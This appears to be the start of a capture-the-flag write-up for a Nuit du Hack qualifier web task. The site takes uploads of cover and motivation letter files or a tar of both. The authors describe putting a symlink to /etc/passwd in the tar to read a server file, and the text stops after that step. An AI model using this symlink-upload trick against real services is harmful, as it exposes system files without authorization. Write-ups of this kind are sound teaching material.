This task is a web task worth 100 points from the Nuit du Hack qualifications.
We are given a website that lets you upload txt files for a cover letter, and a motivation letter. (cv.txt, motiv.txt)
It is also possible to a tar file containing both files.
Once you uploaded them, you can see them in your profile.
It is possible to add symlinks to a tar file. We tried to put a symlink to /etc/passwd, and uploaded it.
